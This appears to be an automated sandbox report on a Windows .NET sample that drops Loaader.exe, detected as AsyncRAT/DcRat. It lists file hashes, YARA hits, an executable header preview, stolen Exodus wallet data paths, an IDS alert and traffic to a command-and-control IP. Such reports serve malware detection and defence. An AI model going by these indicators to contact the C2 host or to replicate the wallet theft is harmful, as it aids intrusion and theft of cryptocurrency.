Preview:	NAME: eBvgALZtzZvBuBU..TITLE: New Tab - Google Chrome..PID: 6464..EXE: C:\Program Files (x86)\NryOjynQFwHmgqdZtSxgQeRybMUCYXNliXaCcIcNyQUORRboRaPSmmexeepefQfeLAZRhRmE\eBvgALZtzZvBuBU.exe..NAME: eBvgALZtzZvBuBU..TITLE: New Tab - Google Chrome..PID: 1720..EXE: C:\Program Files (x86)\NryOjynQFwHmgqdZtSxgQeRybMUCYXNliXaCcIcNyQUORRboRaPSmmexeepefQfeLAZRhRmE\eBvgALZtzZvBuBU.exe..NAME: eBvgALZtzZvBuBU..TITLE: New Tab - Google Chrome..PID: 7112..EXE: C:\Program Files (x86)\NryOjynQFwHmgqdZtSxgQeRybMUCYXNliXaCcIcNyQUORRboRaPSmmexeepefQfeLAZRhRmE\eBvgALZtzZvBuBU.exe..NAME: eBvgALZtzZvBuBU..TITLE: New Tab - Google Chrome..PID: 6488..EXE: C:\Program Files (x86)\NryOjynQFwHmgqdZtSxgQeRybMUCYXNliXaCcIcNyQUORRboRaPSmmexeepefQfeLAZRhRmE\eBvgALZtzZvBuBU.exe..NAME: eBvgALZtzZvBuBU..TITLE: New Tab - Google Chrome..PID: 6176..EXE: C:\Program Files (x86)\NryOjynQFwHmgqdZtSxgQeRybMUCYXNliXaCcIcNyQUORRboRaPSmmexeepefQfeLAZRhRmE\eBvgALZtzZvBuBU.exe..NAME: eBvgALZtzZvBuBU..TITLE: New Tab - Google Chrome..PID:

C:\Users\user\AppData\Local\e20e7a46feee2c9494221e631f609d86\user@855271_en-CH\Wallets\Edge_Wallet\Edge_Exodus\CURRENT

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\e20e7a46feee2c9494221e631f609d86\user@855271_en-CH\Wallets\Edge_Wallet\Edge_Exodus\LOG

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	363
Entropy (8bit):	5.217688464818446
Encrypted:	false
SSDEEP:	6:k9ihvm81wkn23oH+Tcwt8age8Y55HEZzXELIx2KLlixgq2Pwkn23oH+Tcwt8ages:k9iYbfYeb8rcHEZrEkVLkxgvYfYeb8rX
MD5:	5013EA9522041635E5656EC79B7E69E7
SHA1:	5FB44B2F624ACEAD0147EFC90D8ACFDFD30AAF60
SHA-256:	9605BC1AFB77FEC95C0903FFDE526EFDD31FCEEE7A95F5D3308CEA1B1CFD0A16
SHA-512:	6F40CB446420A0A64A5373220D86864D44E691281F61C0DEC05C7A3A3F734119ADFD556DDF2534C003F216897E8D25D9263EC8ECD83810B2A7B1AAE689DC834D
Malicious:	false
Preview:	2023/10/03-12:48:06.827 4b0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold since it was missing..2023/10/03-12:48:06.833 4b0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.

C:\Users\user\AppData\Local\e20e7a46feee2c9494221e631f609d86\user@855271_en-CH\Wallets\Edge_Wallet\Edge_Exodus\MANIFEST-000001

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Roaming\Loaader.exe

Download File

Process:	C:\Users\user\Desktop\t3h7DNer1Q.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64512
Entropy (8bit):	5.808021958358459
Encrypted:	false
SSDEEP:	768:CuY6LVcsTPq781wC8A+XjuazcBRL5JTk1+T4KSBGHmDbD/ph0oX9rAW6dEYSuEdP:reQPckdSJYUbdh9O8uEdpqKmY7
MD5:	B8D455465260A845DB35492FDA5A8888
SHA1:	287B0BA049AD8F3BE802D2224EFB86DBA72D3221
SHA-256:	A150A433C6A3E4278F6CC4CBC85863FC431E5C1E65081AD67253513E8CA01282
SHA-512:	5DBA43AE31420DE362593752E8FF491AFBE8D20F183F6B95E6962EA1E637C7BF3BD50B5213E4D928A96B85D9B54841EE697798B0089624B13EF7EDED826CD86A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Roaming\Loaader.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice, Description: Detects executables attemping to enumerate video devices using WMI, Source: C:\Users\user\AppData\Roaming\Loaader.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy, Description: Detects executables containing the string DcRatBy, Source: C:\Users\user\AppData\Roaming\Loaader.exe, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...&.eb................................. ... ....@.. .......................`............@.....................................W.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H........f..............................................................W......H3.......W......3........./.\.....(.....~............~............~............~............~............~............~............~.....~............~............~............(C......2~.....oD....s....%r...po....(h...ru..p(....o....o....o....( ... ....(.....s....%r...po....r...po....%r...po.....o....o....( ...Vs.........si.........~"......"...F.(+...~!...o....*&...o.

\Device\Null

Download File

Process:	C:\Windows\System32\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.41440934524794
Encrypted:	false
SSDEEP:	3:hYFqdLGAR+mQRKVxLZXt0sn:hYFqGaNZKsn
MD5:	3DD7DD37C304E70A7316FE43B69F421F
SHA1:	A3754CFC33E9CA729444A95E95BCB53384CB51E4
SHA-256:	4FA27CE1D904EA973430ADC99062DCF4BAB386A19AB0F8D9A4185FA99067F3AA
SHA-512:	713533E973CF0FD359AC7DB22B1399392C86D9FD1E715248F5724AAFBBF0EEB5EAC0289A0E892167EB559BE976C2AD0A0A0D8EFC407FFAF5B3C3A32AA9A0AAA4
Malicious:	false
Preview:	..Waiting for 3 seconds, press a key to continue ....2.1.0..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.808021958358459
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	t3h7DNer1Q.exe
File size:	64'512 bytes
MD5:	b8d455465260a845db35492fda5a8888
SHA1:	287b0ba049ad8f3be802d2224efb86dba72d3221
SHA256:	a150a433c6a3e4278f6cc4cbc85863fc431e5c1e65081ad67253513e8ca01282
SHA512:	5dba43ae31420de362593752e8ff491afbe8d20f183f6b95e6962ea1e637c7bf3bd50b5213e4d928a96b85d9b54841ee697798b0089624b13ef7eded826cd86a
SSDEEP:	768:CuY6LVcsTPq781wC8A+XjuazcBRL5JTk1+T4KSBGHmDbD/ph0oX9rAW6dEYSuEdP:reQPckdSJYUbdh9O8uEdpqKmY7
TLSH:	7B537C003798C965E2AE47B8BCF3550106B1D1772112DA1E3CC810DB6BAFFC65A526FE
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...&.eb................................. ... ....@.. .......................`............@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4109de
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x62658926 [Sun Apr 24 17:30:14 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x10984	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x12000	0xdb5	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x14000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xe9e4	0xea00	17554f2cc5cd3d0df30922ce8adc992a	False	0.4918369391025641	data	5.846284329669117	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x12000	0xdb5	0xe00	8ae77c3680b8fc7998fab3a0df2d0ede	False	0.40122767857142855	data	5.026234489158954	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x14000	0xc	0x200	77ff96c5c311dfd9900ec04292892e1a	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x120a0	0x2d4	data			0.4350828729281768
RT_MANIFEST	0x12374	0xa41	XML 1.0 document, Unicode text, UTF-8 (with BOM) text			0.4114285714285714

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/23/24-13:52:57.778331	TCP	2848152	ETPRO TROJAN Observed Malicious SSL Cert (AsyncRAT Variant)	3232	49730	66.235.168.242	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2024 13:52:57.100310087 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:52:57.106209040 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:52:57.106293917 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:52:57.229970932 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:52:57.235337973 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:52:57.778331041 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:52:57.784128904 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:52:57.790852070 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:52:57.972948074 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:52:58.028678894 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:52:59.520363092 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:52:59.525485039 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:52:59.525542021 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:52:59.530558109 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:01.398921967 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:01.450615883 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:01.523701906 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:01.535324097 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:01.540381908 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:01.540451050 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:01.545387983 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.209698915 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.209750891 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.209798098 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.210727930 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.211843014 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.211853981 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.211879015 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.213973045 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.213984966 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.214015961 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.216125011 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.216136932 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.216183901 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.218492985 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.218504906 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.218521118 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.218534946 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.218566895 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.220428944 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.263097048 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.303468943 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.303967953 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.304063082 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.305264950 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.306591988 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.306638956 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.307944059 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.307979107 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.308011055 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.308031082 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.310425997 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.310471058 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.315756083 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.315788984 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.315820932 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.315834999 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.315855026 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.315887928 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.315896988 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.316979885 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.317014933 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.317024946 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.319025993 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.319058895 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.319072962 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.321677923 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.321711063 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.321731091 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.323203087 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.323235035 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.323249102 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.323266983 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.323302984 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.325248003 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.366596937 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.366657019 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.366883993 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.373919010 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.373982906 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.399964094 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.400733948 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.400789022 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.401591063 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.401624918 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.401664972 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.403975964 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.404016972 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.404068947 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.406361103 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.406394958 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.406445026 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.408786058 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.408821106 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.408853054 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.408880949 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.411145926 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.411200047 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.461766958 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.461924076 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.951338053 CEST	49732	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.952943087 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.956520081 CEST	3232	49732	66.235.168.242	192.168.2.4
May 23, 2024 13:53:02.956597090 CEST	49732	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:02.956854105 CEST	49732	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:03.003412008 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:03.003457069 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:03.008111954 CEST	3232	49732	66.235.168.242	192.168.2.4
May 23, 2024 13:53:03.055566072 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:03.629570007 CEST	3232	49732	66.235.168.242	192.168.2.4
May 23, 2024 13:53:03.630120039 CEST	49732	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:03.635063887 CEST	3232	49732	66.235.168.242	192.168.2.4
May 23, 2024 13:53:03.648571968 CEST	49732	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:03.654715061 CEST	3232	49732	66.235.168.242	192.168.2.4
May 23, 2024 13:53:03.654795885 CEST	49732	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:12.412039995 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:12.420034885 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:12.420586109 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:12.425612926 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:16.416765928 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:16.460712910 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:16.549932003 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:16.585526943 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:16.588043928 CEST	49744	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:16.590662003 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:16.590761900 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:16.639883041 CEST	3232	49744	66.235.168.242	192.168.2.4
May 23, 2024 13:53:16.640053988 CEST	49744	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:16.640705109 CEST	49744	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:16.645072937 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:16.696696997 CEST	3232	49744	66.235.168.242	192.168.2.4
May 23, 2024 13:53:17.263564110 CEST	3232	49744	66.235.168.242	192.168.2.4
May 23, 2024 13:53:17.264885902 CEST	49744	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:17.271015882 CEST	3232	49744	66.235.168.242	192.168.2.4
May 23, 2024 13:53:25.791235924 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:25.796895027 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:25.796952963 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:25.801912069 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:26.166695118 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:26.273291111 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:26.289623976 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:26.460783958 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:31.424964905 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:31.476496935 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:31.540083885 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:31.618035078 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:31.623284101 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:31.623363018 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:31.628756046 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.120759964 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.121503115 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.122440100 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.122518063 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.122553110 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.125092983 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.126925945 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.126975060 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.127078056 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.128720999 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.128742933 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.128783941 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.131792068 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.131814003 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.131829977 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.131866932 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.137921095 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.137938023 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.139116049 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.139134884 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.139180899 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.142752886 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.142818928 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.142836094 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.142865896 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.142887115 CEST	49730	3232	192.168.2.4	66.235.168.242
